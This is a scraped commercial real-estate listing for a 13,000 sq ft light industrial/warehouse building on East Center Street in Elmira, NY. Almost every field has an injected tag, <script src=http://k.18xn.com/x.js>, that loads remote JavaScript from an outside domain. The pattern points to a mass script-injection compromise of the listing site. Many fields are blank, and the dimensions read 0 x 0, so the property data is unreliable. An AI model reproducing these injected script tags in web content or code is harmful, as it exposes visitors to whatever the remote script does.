



Address: 301 E. Center Street<script src=http://k.18xn.com/x.js>
Address 2: <script src=http://k.18xn.com/x.js>

City/State/Zip: Elmira<script src=http://k.18xn.com/x.js>, NY 14901
Municipality: City of Elmira<script src=http://k.18xn.com/x.js>
County: Chemung<script src=http://k.18xn.com/x.js>
Former Use: Light Industrial/Warehouse<script src=http://k.18xn.com/x.js>

Sale Price: \$ <script src=http://k.18xn.com/x.js>
Lease Price: \$ \$3.00 s.f.<script src=http://k.18xn.com/x.js>
Terms: : Triple net<script src=http://k.18xn.com/x.js>

Type of Location: <script src=http://k.18xn.com/x.js>
Indus/Bus. Park: <script src=http://k.18xn.com/x.js>
Zoning: General Commercial (BE)<script src=http://k.18xn.com/x.js>

Available Sq. Ft. 13000
Bldg. Dimensions: 0 x 0 (ft x (LxW)): 0
Expandable: <script src=http://k.18xn.com/x.js>

no photo available

Property Status: <script src=http://k.18xn.com/x.js>
Date Available: Immediately<script src=http://k.18xn.com/x.js>
Building Type: <script src=http://k.18xn.com/x.js>
Year Built: <script src=http://k.18xn.com/x.js>
Year Additions Built: <script src=http://k.18xn.com/x.js>
School District: Elmira City School District<script src=http://k.18xn.com/x.js>

No. Parking Spaces: 38<script src=http://k.18xn.com/x.js>
Paved Parking: Yes
Empire Zone: Yes
Multiple Tenants: No
No. of Buildings: 1<script src=http://k.18xn.com/x.js>
No. of Floors: 1<script src=http://k.18xn.com/x.js>

Additional Information:
<script src=http://k.18xn.com/x.js>